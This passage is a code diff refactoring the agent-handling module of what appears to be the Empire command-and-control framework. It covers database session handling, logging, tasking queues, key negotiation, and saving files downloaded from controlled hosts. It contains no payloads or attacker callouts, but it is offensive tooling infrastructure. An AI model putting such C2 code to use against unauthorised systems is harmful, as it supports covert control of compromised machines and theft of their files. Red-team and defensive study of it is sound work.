+from empire.server.core.config import empire_config
+from empire.server.core.db import models
+from empire.server.core.db.base import SessionLocal
+from empire.server.core.db.models import TaskingStatus
+from empire.server.core.hooks import hooks
-# Empire imports
-from empire.server.database.models import TaskingStatus
+from . import encryption, helpers, packets
-from . import encryption, events, helpers, messages, packets
+log = logging.getLogger(__name__)
class Agents(object):
"""
- Main class that contains agent handling functionality, including key
+ Main class that contains agent communication functionality, including key
negotiation in process_get() and process_post().
+
+ For managing agents use core/agent_service.py.
"""
def __init__(self, MainMenu, args=None):
-
# pull out the controller objects
self.mainMenu = MainMenu
self.installPath = self.mainMenu.installPath
self.args = args
+ self.socksthread = {}
+ self.socksqueue = {}
+ self.socksclient = {}
# internal agent dictionary for the client's session key, funcions, and URI sets
# this is done to prevent database reads for extremely common tasks (like checking tasking URI existence)
# self.agents[sessionID] = { 'sessionKey' : clientSessionKey,
+ # 'language' : clientLanguage,
# 'functions' : [tab-completable function names for a script-import]
# }
self.agents = {}
@@ -103,12 +92,17 @@ def __init__(self, MainMenu, args=None):
# used to protect self.agents and self.mainMenu.conn during threaded listener access
self.lock = threading.Lock()
+ # Since each agent logs to a different file, we can have multiple locks to reduce
+ # waiting time when writing to the file.
+ self.agent_log_locks: Dict[str, threading.Lock] = {}
+
# reinitialize any agents that already exist in the database
- dbAgents = self.get_agents_db()
- for agent in dbAgents:
+ db_agents = self.get_agents_db()
+ for agent in db_agents:
agentInfo = {
- "sessionKey": agent["session_key"],
- "functions": agent["functions"],
+ "sessionKey": agent.session_key,
+ "language": agent.language,
+ "functions": agent.functions,
}
self.agents[agent["session_id"]] = agentInfo
@@ -123,10 +117,9 @@ def __init__(self, MainMenu, args=None):
###############################################################
@staticmethod
- def get_agent_from_name_or_session_id(agent_name):
- agent = (
- Session()
- .query(models.Agent)
+ def get_agent_from_name_or_session_id(agent_name, db: Session):
+ return (
+ db.query(models.Agent)
.filter(
or_(
models.Agent.name == agent_name,
@@ -135,18 +128,16 @@ def get_agent_from_name_or_session_id(agent_name):
)
.first()
)
- return agent
def is_agent_present(self, sessionID):
"""
Checks if a given sessionID corresponds to an active agent.
"""
-
- # see if we were passed a name instead of an ID
- nameid = self.get_agent_id_db(sessionID)
- if nameid:
- sessionID = nameid
-
+ warnings.warn(
+ "This has been deprecated and may be removed."
+ "Use agent_service.get_by_id() or agent_service.get_by_name() instead.",
+ DeprecationWarning,
+ )
return sessionID in self.agents
def add_agent(
@@ -163,6 +154,7 @@ def add_agent(
nonce="",
listener="",
language="",
+ db=None,
):
"""
Add an agent to the internal cache and database.
@@ -188,70 +180,41 @@ def add_agent(
working_hours=workingHours,
lost_limit=lostLimit,
listener=listener,
- language=language,
- killed=False,
+ language=language.lower(),
+ archived=False,
)
- Session().add(agent)
- Session().flush()
- Session().commit()
-
- hooks.run_hooks(hooks.AFTER_AGENT_CHECKIN_HOOK, agent)
-
- # dispatch this event
- message = "[*] New agent {} checked in".format(sessionID)
- signal = json.dumps(
- {
- "print": True,
- "message": message,
- "timestamp": datetime.now(timezone.utc).isoformat(),
- "event_type": "checkin",
- }
- )
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
+
+ db.add(agent)
+ db.flush()
+
+ message = f"New agent {sessionID} checked in"
+ log.info(message)
# initialize the tasking/result buffers along with the client session key
- self.agents[sessionID] = {"sessionKey": sessionKey, "functions": []}
+ self.agents[sessionID] = {
+ "sessionKey": sessionKey,
+ "language": agent.language.lower(),
+ "functions": [],
+ }
- def get_agent_for_socket(self, session_id):
- return (
- Session()
- .query(models.Agent)
- .filter(models.Agent.session_id == session_id)
- .first()
- .info
- )
+ return agent
- def remove_agent_db(self, session_id):
+ def remove_agent_db(self, session_id, db: Session):
"""
Remove an agent to the internal cache and database.
"""
- if session_id == "%" or session_id.lower() == "all":
- session_id = "%"
- self.agents = {}
- else:
- # see if we were passed a name instead of an ID
- nameid = self.get_agent_id_db(session_id)
- if nameid:
- session_id = nameid
-
- # remove the agent from the internal cache
- self.agents.pop(session_id, None)
+ # remove the agent from the internal cache
+ self.agents.pop(session_id, None)
# remove the agent from the database
agent = (
- Session()
- .query(models.Agent)
- .filter(models.Agent.session_id == session_id)
- .first()
+ db.query(models.Agent).filter(models.Agent.session_id == session_id).first()
)
if agent:
- Session().delete(agent)
- Session().commit()
+ db.delete(agent)
- # dispatch this event
- message = "[*] Agent {} deleted".format(session_id)
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(session_id))
+ message = f"Agent {session_id} deleted"
+ log.info(message)
def is_ip_allowed(self, ip_address):
"""
@@ -273,188 +236,188 @@ def is_ip_allowed(self, ip_address):
else:
return True
- def save_file(self, sessionID, path, data, filesize, append=False):
+ def save_file(
+ self,
+ sessionID,
+ path,
+ data,
+ filesize,
+ tasking: models.Tasking,
+ language: str,
+ db: Session,
+ append=False,
+ ):
"""
Save a file download for an agent to the appropriately constructed path.
"""
- nameid = self.get_agent_id_db(sessionID)
- if nameid:
- sessionID = nameid
-
- lang = self.get_language_db(sessionID)
+ # todo this doesn't work for non-windows. All files are stored flat.
parts = path.split("\\")
# construct the appropriate save path
- save_path = (
- f"{self.mainMenu.directory['downloads']}{sessionID}/{'/'.join(parts[0:-1])}"
- )
-
+ download_dir = Path(empire_config.directories.downloads)
+ save_path = download_dir / sessionID / "/".join(parts[0:-1])
filename = os.path.basename(parts[-1])
+ save_file = save_path / filename
try:
self.lock.acquire()
# fix for 'skywalker' exploit by @zeroSteiner
- safePath = os.path.abspath(self.mainMenu.directory["downloads"])
-
- if not os.path.abspath(save_path + "/" + filename).startswith(safePath):
- message = "[!] WARNING: agent {} attempted skywalker exploit!\n[!] attempted overwrite of {} with data {}".format(
+ # I'm not really sure if this can actually still be exploited, its gone through
+ # quite a few refactors. But we'll keep it for now.
+ safe_path = download_dir.absolute()
+ if not str(save_file.absolute()).startswith(str(safe_path)):
+ message = "Agent {} attempted skywalker exploit! Attempted overwrite of {} with data {}".format(
sessionID, path, data
)
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
+ log.warning(message)
return
# make the recursive directory structure if it doesn't already exist
- if not os.path.exists(save_path):
+ if not save_path.exists():
os.makedirs(save_path)
# overwrite an existing file
mode = "ab" if append else "wb"
- f = open("%s/%s" % (save_path, filename), mode)
-
- if "python" in lang:
- print(
- helpers.color(
- "[*] Compressed size of %s download: %s"
- % (filename, helpers.get_file_size(data)),
- color="green",
- )
+ f = save_file.open(mode)
+
+ if "python" in language:
+ log.info(
+ f"Compressed size of {filename} download: {helpers.get_file_size(data)}"
)
d = decompress.decompress()
dec_data = d.dec_data(data)
- print(
- helpers.color(
- "[*] Final size of %s wrote: %s"
- % (filename, helpers.get_file_size(dec_data["data"])),
- color="green",
- )
+ log.info(
+ f"Final size of {filename} wrote: {helpers.get_file_size(dec_data['data'])}"
)
if not dec_data["crc32_check"]:
- message = "[!] WARNING: File agent {} failed crc32 check during decompression!\n[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!".format(
- nameid,
- dec_data["header_crc32"],
- dec_data["dec_crc32"],
- dec_data["crc32_check"],
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(nameid))
+ message = f"File agent {sessionID} failed crc32 check during decompression!\n[!] HEADER: Start crc32: {dec_data['header_crc32']} -- Received crc32: {dec_data['dec_crc32']} -- Crc32 pass: {dec_data['crc32_check']}!"
+ log.warning(message)
data = dec_data["data"]
f.write(data)
f.close()
+
+ if not append:
+ location = save_file
+ download = models.Download(
+ location=str(location),
+ filename=filename,
+ size=os.path.getsize(location),
+ )
+ db.add(download)
+ db.flush()
+ tasking.downloads.append(download)
+
+ # We join a Download to a Tasking
+ # But we also join a Download to a AgentFile
+ # This could be useful later on for showing files as downloaded directly in the file browser.
+ agent_file = (
+ db.query(models.AgentFile)
+ .filter(
+ and_(
+ models.AgentFile.path == path,
+ models.AgentFile.session_id == sessionID,
+ )
+ )
+ .first()
+ )
+
+ if agent_file:
+ agent_file.downloads.append(download)
+ db.flush()
finally:
self.lock.release()
percent = round(
- int(os.path.getsize("%s/%s" % (save_path, filename))) / int(filesize) * 100,
+ int(os.path.getsize(str(save_file))) / int(filesize) * 100,
2,
)
# notify everyone that the file was downloaded
- message = "[+] Part of file {} from {} saved [{}%] to {}".format(
- filename, sessionID, percent, save_path
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
+ message = f"Part of file {filename} from {sessionID} saved [{percent}%] to {save_path}"
+ log.info(message)
- def save_module_file(self, sessionID, path, data):
+ def save_module_file(self, sessionID, path, data, language: str):
"""
Save a module output file to the appropriate path.
"""
- sessionID = self.get_agent_name_db(sessionID)
- lang = self.get_language_db(sessionID)
parts = path.split("/")
# construct the appropriate save path
- save_path = (
- f"{self.mainMenu.directory['downloads']}{sessionID}/{'/'.join(parts[0:-1])}"
- )
-
+ download_dir = Path(empire_config.directories.downloads)
+ save_path = download_dir / sessionID / "/".join(parts[0:-1])
filename = parts[-1]
+ save_file = save_path / filename
# decompress data if coming from a python agent:
- if "python" in lang:
- print(
- helpers.color(
- "[*] Compressed size of %s download: %s"
- % (filename, helpers.get_file_size(data)),
- color="green",
- )
+ if "python" in language:
+ log.info(
+ f"Compressed size of {filename} download: {helpers.get_file_size(data)}"
)
d = decompress.decompress()
dec_data = d.dec_data(data)
- print(
- helpers.color(
- "[*] Final size of %s wrote: %s"
- % (filename, helpers.get_file_size(dec_data["data"])),
- color="green",
- )
+ log.info(
+ f"Final size of {filename} wrote: {helpers.get_file_size(dec_data['data'])}"
)
if not dec_data["crc32_check"]:
- message = "[!] WARNING: File agent {} failed crc32 check during decompression!\n[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!".format(
- sessionID,
- dec_data["header_crc32"],
- dec_data["dec_crc32"],
- dec_data["crc32_check"],
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
+ message = f"File agent {sessionID} failed crc32 check during decompression!\n[!] HEADER: Start crc32: {dec_data['header_crc32']} -- Received crc32: {dec_data['dec_crc32']} -- Crc32 pass: {dec_data['crc32_check']}!"
+ log.warning(message)
data = dec_data["data"]
try:
self.lock.acquire()
- # fix for 'skywalker' exploit by @zeroSteiner
- safePath = os.path.abspath(self.mainMenu.directory["downloads"])
+ safe_path = download_dir.absolute()
- if not os.path.abspath(save_path + "/" + filename).startswith(safePath):
- message = "[!] WARNING: agent {} attempted skywalker exploit!\n[!] attempted overwrite of {} with data {}".format(
+ # fix for 'skywalker' exploit by @zeroSteiner
+ # I'm not really sure if this can actually still be exploited, its gone through
+ # quite a few refactors. But we'll keep it for now.
+ if not str(save_file.absolute()).startswith(str(safe_path)):
+ message = "agent {} attempted skywalker exploit!\n[!] attempted overwrite of {} with data {}".format(
sessionID, path, data
)
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
+ log.warning(message)
return
# make the recursive directory structure if it doesn't already exist
- if not os.path.exists(save_path):
+ if not save_path.exists():
os.makedirs(save_path)
# save the file out
- with open("%s/%s" % (save_path, filename), "wb") as f:
+
+ with save_file.open("wb") as f:
f.write(data)
finally:
self.lock.release()
# notify everyone that the file was downloaded
- message = "[+] File {} from {} saved".format(path, sessionID)
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
+ message = f"File {path} from {sessionID} saved"
+ log.info(message)
- return f"{self.mainMenu.directory['downloads']}/{sessionID}/{'/'.join(parts[0:-1])}/{filename}"
+ return str(save_file)
- def save_agent_log(self, sessionID, data):
+ def save_agent_log(self, session_id, data):
"""
Save the agent console output to the agent's log file.
"""
if isinstance(data, bytes):
data = data.decode("UTF-8")
- name = self.get_agent_name_db(sessionID)
- save_path = f"{self.mainMenu.directory['downloads']}{name}/"
+
+ save_path = Path(empire_config.directories.downloads) / session_id
# make the recursive directory structure if it doesn't already exist
- if not os.path.exists(save_path):
+ if not save_path.exists():
os.makedirs(save_path)
current_time = helpers.get_datetime()
- try:
- self.lock.acquire()
+ if session_id not in self.agent_log_locks:
+ self.agent_log_locks[session_id] = threading.Lock()
+ lock = self.agent_log_locks[session_id]
- with open("%s/agent.log" % (save_path), "a") as f:
+ with lock:
+ with open(f"{save_path}/agent.log", "a") as f:
f.write("\n" + current_time + " : " + "\n")
f.write(data + "\n")
- finally:
-
- self.lock.release()
###############################################################
#
@@ -467,75 +430,40 @@ def is_agent_elevated(self, session_id):
Check whether a specific sessionID is currently elevated.
This means root for OS X/Linux and high integrity for Windows.
"""
-
- # see if we were passed a name instead of an ID
- nameid = self.get_agent_id_db(session_id)
- if nameid:
- session_id = nameid
-
- elevated = (
- Session()
- .query(models.Agent.high_integrity)
- .filter(models.Agent.session_id == session_id)
- .scalar()
+ warnings.warn(
+ "This has been deprecated and may be removed."
+ "Use agent_service.get_by_id() or agent_service.get_by_name() instead.",
+ DeprecationWarning,
)
+ with SessionLocal() as db:
+ elevated = (
+ db.query(models.Agent.high_integrity)
+ .filter(models.Agent.session_id == session_id)
+ .scalar()
+ )
- return elevated is True
+ return elevated is True
def get_agents_db(self):
"""
Return all active agents from the database.
"""
- results = Session().query(models.Agent).all()
-
- return results
-
- def get_agent_names_db(self):
- """
- Return all names of active agents from the database.
- """
- results = Session().query(models.Agent.name).all()
+ with SessionLocal() as db:
+ results = db.query(models.Agent).all()
- # make sure names all ascii encoded
- results = [r[0].encode("ascii", "ignore") for r in results]
return results
- def get_agent_ids_db(self):
- """
- Return all IDs of active agents from the database.
- """
- results = Session().query(models.Agent.session_id).all()
-
- # make sure names all ascii encoded
- results = [str(r[0]).encode("ascii", "ignore") for r in results if r]
- return results
-
- def get_agent_db(self, session_id):
- """
- Return complete information for the specified agent from the database.
- """
- agent = (
- Session()
- .query(models.Agent)
- .filter(
- or_(
- models.Agent.session_id == session_id,
- models.Agent.name == session_id,
- )
- )
- .first()
- )
-
- return agent
-
- def get_agent_nonce_db(self, session_id):
+ def get_agent_nonce_db(self, session_id, db: Session):
"""
Return the nonce for this sessionID.
"""
-
+ warnings.warn(
+ "This has been deprecated and may be removed."
+ "Use agent_service.get_by_id() or agent_service.get_by_name() instead.",
+ DeprecationWarning,
+ )
nonce = (
- Session()
- .query(models.Agent.nonce)
+ db.query(models.Agent.nonce)
.filter(models.Agent.session_id == session_id)
.first()
)
@@ -550,183 +478,59 @@ def get_language_db(self, session_id):
"""
Return the language used by this agent.
"""
- # see if we were passed a name instead of an ID
- name_id = self.get_agent_id_db(session_id)
- if name_id:
- session_id = name_id
-
- language = (
- Session()
- .query(models.Agent.language)
- .filter(models.Agent.session_id == session_id)
- .scalar()
- )
-
- return language
-
- def get_language_version_db(self, session_id):
- """
- Return the language version used by this agent.
- """
- # see if we were passed a name instead of an ID
- name_id = self.get_agent_id_db(session_id)
- if name_id:
- session_id = name_id
-
- language_version = (
- Session()
- .query(models.Agent.language_version)
- .filter(models.Agent.session_id == session_id)
- .scalar()
+ warnings.warn(
+ "This has been deprecated and may be removed."
+ "Use agent_service.get_by_id() or agent_service.get_by_name() instead.",
+ DeprecationWarning,
)
+ with SessionLocal() as db:
+ # see if we were passed a name instead of an ID
+ name_id = self.get_agent_id_db(session_id, db)
+ if name_id:
+ session_id = name_id
- return language_version
-
- def get_agent_session_key_db(self, session_id):
- """
- Return AES session key from the database for this sessionID.
- """
-
- agent = (
- Session()
- .query(models.Agent)
- .filter(
- or_(
- models.Agent.session_id == session_id,
- models.Agent.name == session_id,
- )
+ language = (
+ db.query(models.Agent.language)
+ .filter(models.Agent.session_id == session_id)
+ .scalar()
)
- .first()
- )
- if agent is not None:
- return agent.session_key
+ return language
- def get_agent_id_db(self, name):
+ def get_agent_id_db(self, name, db: Session = None):
"""
Get an agent sessionID based on the name.
- """
-
- agent = (
- Session().query(models.Agent).filter((models.Agent.name == name)).first()
- )
-
- if agent:
- return agent.session_id
- else:
- return None
- def get_agent_name_db(self, session_id):
"""
- Return an agent name based on sessionID.
- """
- agent = (
- Session()
- .query(models.Agent)
- .filter(
- or_(
- models.Agent.session_id == session_id,
- models.Agent.name == session_id,
- )
- )
- .first()
- )
-
- if agent:
- return agent.name
- else:
- return None
-
- def get_agent_hostname_db(self, session_id):
- """
- Return an agent's hostname based on sessionID.
- """
- agent = (
- Session()
- .query(models.Agent)
- .filter(
- or_(
- models.Agent.session_id == session_id,
- models.Agent.name == session_id,
- )
- )
- .first()
- )
-
- if agent:
- return agent.hostname
- else:
- return None
-
- def get_agent_os_db(self, session_id):
- """
- Return an agent's operating system details based on sessionID.
- """
- agent = (
- Session()
- .query(models.Agent)
- .filter(
- or_(
- models.Agent.session_id == session_id,
- models.Agent.name == session_id,
- )
- )
- .first()
+ warnings.warn(
+ "This has been deprecated and may be removed."
+ "Use agent_service.get_by_id() or agent_service.get_by_name() instead.",
+ DeprecationWarning,
)
+ # db is optional for backwards compatibility until this function is phased out
+ with db or SessionLocal() as db:
+ agent = db.query(models.Agent).filter((models.Agent.name == name)).first()
if agent:
- return agent.os_details
- else:
- return None
-
- def get_agent_functions(self, session_id):
- """
- Get the tab-completable functions for an agent.
- """
-
- # see if we were passed a name instead of an ID
- name_id = self.get_agent_id_db(session_id)
- if name_id:
- session_id = name_id
-
- results = []
-
- if session_id in self.agents:
- results = self.agents[session_id]["functions"]
+ return agent.session_id
- return results
-
- def get_agent_functions_db(self, session_id):
- """
- Return the tab-completable functions for an agent from the database.
- """
- agent = (
- Session()
- .query(models.Agent)
- .filter(
- or_(
- models.Agent.session_id == session_id,
- models.Agent.name == session_id,
- )
- )
- .first()
- )
-
- if agent.functions is not None:
- return agent.functions.split(",")
- else:
- return []
+ return None
def get_agents_for_listener(self, listener_name):
"""
Return agent objects linked to a given listener name.
"""
- agents = (
- Session()
- .query(models.Agent.session_id)
- .filter(models.Agent.listener == listener_name)
- .all()
+ warnings.warn(
+ "This has been deprecated and may be removed."
+ "Use agent_service.get_by_id() or agent_service.get_by_name() instead.",
+ DeprecationWarning,
)
+ with SessionLocal() as db:
+ agents = (
+ db.query(models.Agent.session_id)
+ .filter(models.Agent.listener == listener_name)
+ .all()
+ )
if agents:
# make sure names all ascii encoded
@@ -736,59 +540,41 @@ def get_agents_for_listener(self, listener_name):
return results
- def get_agent_names_listener_db(self, listener_name):
- """
- Return agent names linked to the given listener name.
- """
-
- agents = (
- Session()
- .query(models.Agent)
- .filter(models.Agent.listener == listener_name)
- .all()
- )
-
- return agents
-
def get_autoruns_db(self):
"""
Return any global script autoruns.
"""
- results = Session().query(models.Config.autorun_command).all()
- if results[0].autorun_command:
- autorun_command = results[0].autorun_command
- else:
- autorun_command = ""
+ warnings.warn(
+ "This has been deprecated and may be removed."
+ "Use agent_service.get_by_id() or agent_service.get_by_name() instead.",
+ DeprecationWarning,
+ )
+ with SessionLocal() as db:
+ results = db.query(models.Config.autorun_command).all()
+ if results[0].autorun_command:
+ autorun_command = results[0].autorun_command
+ else:
+ autorun_command = ""
- results = Session().query(models.Config.autorun_data).all()
- if results[0].autorun_data:
- autorun_data = results[0].autorun_data
- else:
- autorun_data = ""
+ results = db.query(models.Config.autorun_data).all()
+ if results[0].autorun_data:
+ autorun_data = results[0].autorun_data
+ else:
+ autorun_data = ""
- autoruns = [autorun_command, autorun_data]
+ autoruns = [autorun_command, autorun_data]
return autoruns
- ###############################################################
- #
- # Methods to update agent information fields.
- #
- ###############################################################
- def update_dir_list(self, session_id, response):
+ def update_dir_list(self, session_id, response, db: Session):
""" "
Update the directory list
"""
- name_id = self.get_agent_id_db(session_id)
- if name_id:
- session_id = name_id
-
if session_id in self.agents:
# get existing files/dir that are in this directory.
# delete them and their children to keep everything up to date. There's a cascading delete on the table.
this_directory = (
- Session()
- .query(models.AgentFile)
+ db.query(models.AgentFile)
.filter(
and_(models.AgentFile.session_id == session_id),
models.AgentFile.path == response["directory_path"],
@@ -796,7 +582,7 @@ def update_dir_list(self, session_id, response):
.first()
)
if this_directory:
- Session().query(models.AgentFile).filter(
+ db.query(models.AgentFile).filter(
and_(
models.AgentFile.session_id == session_id,
models.AgentFile.parent_id == this_directory.id,
@@ -812,17 +598,17 @@ def update_dir_list(self, session_id, response):
is_file=False,
session_id=session_id,
)
- Session().add(this_directory)
- Session().flush()
+ db.add(this_directory)
+ db.flush()
for item in response["items"]:
- Session().query(models.AgentFile).filter(
+ db.query(models.AgentFile).filter(
and_(
models.AgentFile.session_id == session_id,
models.AgentFile.path == item["path"],
)
).delete()
- Session().add(
+ db.add(
models.AgentFile(
name=item["name"],
path=item["path"],
@@ -832,10 +618,9 @@ def update_dir_list(self, session_id, response):
)
)
- Session().commit()
-
def update_agent_sysinfo_db(
self,
+ db,
session_id,
listener="",
external_ip="",
@@ -853,37 +638,27 @@ def update_agent_sysinfo_db(
"""
Update an agent's system information.
"""
-
- # see if we were passed a name instead of an ID
- nameid = self.get_agent_id_db(session_id)
- if nameid:
- session_id = nameid
-
agent = (
- Session()
- .query(models.Agent)
- .filter(models.Agent.session_id == session_id)
- .first()
+ db.query(models.Agent).filter(models.Agent.session_id == session_id).first()
)
host = (
- Session()
- .query(models.Host)
+ db.query(models.Host)
.filter(
and_(
- models.Host.name == hostname, models.Host.internal_ip == internal_ip
+ models.Host.name == hostname,
+ models.Host.internal_ip == internal_ip,
)
)
.first()
)
if not host:
host = models.Host(name=hostname, internal_ip=internal_ip)
- Session().add(host)
- Session().flush()
+ db.add(host)
+ db.flush()
process = (
- Session()
- .query(models.HostProcess)
+ db.query(models.HostProcess)
.filter(
and_(
models.HostProcess.host_id == host.id,
@@ -899,8 +674,8 @@ def update_agent_sysinfo_db(
process_name=process_name,
user=agent.username,
)
- Session().add(process)
- Session().flush()
+ db.add(process)
+ db.flush()
agent.internal_ip = internal_ip.split(" ")[0]
agent.username = username
@@ -913,272 +688,101 @@ def update_agent_sysinfo_db(
agent.language_version = language_version
agent.language = language
agent.architecture = architecture
+ db.flush()
- Session().commit()
-
- def update_agent_lastseen_db(self, session_id, current_time=None):
+ def update_agent_lastseen_db(self, session_id, db: Session):
"""
Update the agent's last seen timestamp in the database.
"""
- Session().execute(
- update(models.Agent).where(
- or_(
- models.Agent.session_id == session_id,
- models.Agent.name == session_id,
- )
- )
+ warnings.warn(
+ "This has been deprecated and may be removed."
+ "Use agent_service.get_by_id() or agent_service.get_by_name() instead.",
+ DeprecationWarning,
)
- Session.commit()
-
- def update_agent_listener_db(self, session_id, listener_name):
- """
- Update the specified agent's linked listener name in the database.
- """
-
- agent = (
- Session()
- .query(models.Agent)
- .filter(
+ db.execute(
+ update(models.Agent).where(
or_(
models.Agent.session_id == session_id,
models.Agent.name == session_id,
)
)
- .first()
)
- agent.listener = listener_name
- Session.commit()
-
- def rename_agent(self, old_name, new_name):
- """
- Rename a given agent from 'oldname' to 'newname'.
- """
-
- if not new_name.isalnum():
- print(helpers.color("[!] Only alphanumeric characters allowed for names."))
- return False
-
- # rename the logging/downloads folder
- old_path = f"{self.mainMenu.directory['downloads']}/{old_name}"
- new_path = f"{self.mainMenu.directory['downloads']}/{new_name}"
- ret_val = True
-
- # check if the folder is already used
- if os.path.exists(new_path):
- print(helpers.color("[!] Name already used by current or past agent."))
- ret_val = False
- else:
- # move the old folder path to the new one
- if os.path.exists(old_path):
- os.rename(old_path, new_path)
-
- # rename the agent in the database
- agent = (
- Session()
- .query(models.Agent)
- .filter(models.Agent.name == old_name)
- .first()
- )
- agent.name = new_name
-
- # change tasking and results to new agent
- # maybe not needed
- # taskings = Session().query(models.Tasking).filter(models.Tasking.agent == old_name).all()
- # results = Session().query(models.Result).filter(models.Result.agent == old_name).all()
- #
- # if taskings:
- # for x in range(len(taskings)):
- # taskings[x].agent = new_name
- #
- # if results:
- # for x in range(len(results)):
- # results[x].agent = new_name
-
- Session.commit()
- ret_val = True
-
- # signal in the log that we've renamed the agent
- self.save_agent_log(
- old_name, "[*] Agent renamed from %s to %s" % (old_name, new_name)
- )
-
- return ret_val
-
- def set_agent_functions_db(self, session_id, functions):
- """
- Set the tab-completable functions for the agent in the database.
- """
-
- # see if we were passed a name instead of an ID
- name_id = self.get_agent_id_db(session_id)
- if name_id:
- session_id = name_id
-
- if session_id in self.agents:
- self.agents[session_id]["functions"] = functions
-
- functions = ",".join(functions)
-
- agent = (
- Session()
- .query(models.Agent)
- .filter(models.Agent.session_id == session_id)
- .first()
- )
- agent.functions = functions
- Session.commit()
def set_autoruns_db(self, task_command, module_data):
"""
Set the global script autorun in the config in the database.
"""
+ warnings.warn(
+ "This has been deprecated and may be removed."
+ "Use agent_service.get_by_id() or agent_service.get_by_name() instead.",
+ DeprecationWarning,
+ )
try:
- config = Session().query(models.Config).first()
- config.autorun_command = task_command
- config.autorun_data = module_data
- Session().commit()
+ with SessionLocal.begin() as db:
+ config = db.query(models.Config).first()
+ config.autorun_command = task_command
+ config.autorun_data = module_data
except Exception:
- print(
- helpers.color(
- "[!] Error: script autoruns not a database field, run --reset to reset DB schema."
- )
+ log.error(
+ "script autoruns not a database field, run --reset to reset DB schema."
)
- print(helpers.color("[!] Warning: this will reset ALL agent connections!"))
+ log.warning("this will reset ALL agent connections!")
def clear_autoruns_db(self):
"""
Clear the currently set global script autoruns in the config in the database.
"""
- config = Session().query(models.Config).first()
- config.autorun_command = ""
- config.autorun_data = ""
- Session().commit()
+ with SessionLocal.begin() as db:
+ config = db.query(models.Config).first()
+ config.autorun_command = ""
+ config.autorun_data = ""
###############################################################
#
# Agent tasking methods
#
###############################################################
-
- def add_agent_task_db(
- self, session_id, task_name, task="", module_name=None, uid=1
- ):
+ def get_queued_agent_tasks_db(self, session_id, db: Session):
"""
- Add a task to the specified agent's buffer in the database.
+ Retrieve tasks that have been queued for our agent from the database.
+ Set them to 'pulled'.
"""
- agent_name = session_id
- # see if we were passed a name instead of an ID
- name_id = self.get_agent_id_db(session_id)
-
- if name_id:
- session_id = name_id
-
if session_id not in self.agents:
- print(helpers.color("[!] Agent %s not active." % agent_name))
+ log.error(f"Agent {session_id} not active.")
+ return []
else:
- if session_id:
- message = "[*] Tasked {} to run {}".format(session_id, task_name)
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(session_id))
-
- pk = (
- Session()
- .query(func.max(models.Tasking.id))
- .filter(models.Tasking.agent_id == session_id)
- .first()[0]
- )
-
- if pk is None:
- pk = 0
- pk = (pk + 1) % 65536
-
- Session().add(
- models.Tasking(
- id=pk,
- agent_id=session_id,
- input=task[:100],
- input_full=task,
- user_id=uid,
- module_name=module_name,
- task_name=task_name,
- status=TaskingStatus.queued,
- )
+ try:
+ tasks, total = self.mainMenu.agenttasksv2.get_tasks(
+ db=db,
+ agents=[session_id],
+ include_full_input=True,
+ status=TaskingStatus.queued,
)
- # update last seen time for user
- Session().execute(update(models.User).where(models.User.id == uid))
- Session.commit()
+ for task in tasks:
+ task.status = TaskingStatus.pulled
- try:
- self.lock.acquire()
-
- # dispatch this event
- message = "[*] Agent {} tasked with task ID {}".format(
- session_id, pk
- )
- signal = json.dumps(
- {
- "print": True,
- "message": message,
- "task_name": task_name,
- "task_id": pk,
- "task": task,
- "event_type": "task",
- }
- )
- dispatcher.send(signal, sender="agents/{}".format(session_id))
+ return tasks
+ except AttributeError:
+ log.warning("Agent checkin during initialization.")
+ return []
- # write out the last tasked script to "LastTask" if in debug mode
- if self.args and self.args.debug:
- with open("%s/LastTask" % (self.installPath), "w") as f:
- f.write(task)
- finally:
- self.lock.release()
-
- return pk
-
- def get_agent_tasks_db(self, session_id):
+ def get_queued_agent_temporary_tasks(self, session_id):
"""
- Retrieve tasks that have been queued for our agent from the database.
+ Retrieve temporary tasks that have been queued for our agent from the agenttasksv2.
"""
-
- agent_name = session_id
-
- # see if we were passed a name instead of an ID
- name_id = self.get_agent_id_db(session_id)
- if name_id:
- session_id = name_id
-
if session_id not in self.agents:
- print(helpers.color("[!] Agent %s not active." % agent_name))
+ log.error(f"Agent {session_id} not active.")
return []
else:
- tasks = (
- Session()
- .query(models.Tasking)
- .filter(
- and_(
- models.Tasking.agent_id == session_id,
- models.Tasking.status == TaskingStatus.queued,
- )
+ try:
+ tasks = self.mainMenu.agenttasksv2.get_temporary_tasks_for_agent(
+ session_id
)
- .all()
- )
- for task in tasks:
- task.status = TaskingStatus.pulled
-
- Session().commit()
- return tasks
-
- def clear_agent_tasks_db(self, session_id):
- """
- Clear out queued agent tasks in the database.
- """
- self.get_agent_tasks_db(session_id)
-
- message = "[*] Tasked {} to clear tasks".format(session_id)
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(session_id))
+ return tasks
+ except AttributeError:
+ log.warning("Agent checkin during initialization.")
+ return []
###############################################################
#
@@ -1196,6 +800,7 @@ def handle_agent_staging(
stagingKey,
listenerOptions,
clientIP="0.0.0.0",
+ db: Session = None,
):
"""
Handles agent staging/key-negotiation.
@@ -1210,21 +815,16 @@ def handle_agent_staging(
elif meta == "STAGE1":
# step 3 of negotiation -> client posts public key
- message = "[*] Agent {} from {} posted public key".format(
- sessionID, clientIP
- )
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
+ message = f"Agent {sessionID} from {clientIP} posted public key"
+ log.info(message)
# decrypt the agent's public key
try:
message = encryption.aes_decrypt_and_verify(stagingKey, encData)
- except Exception as e:
- print("exception e:" + str(e))
+ except Exception:
# if we have an error during decryption
- message = "[!] HMAC verification failed from '{}'".format(sessionID)
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
+ message = f"HMAC verification failed from '{sessionID}'"
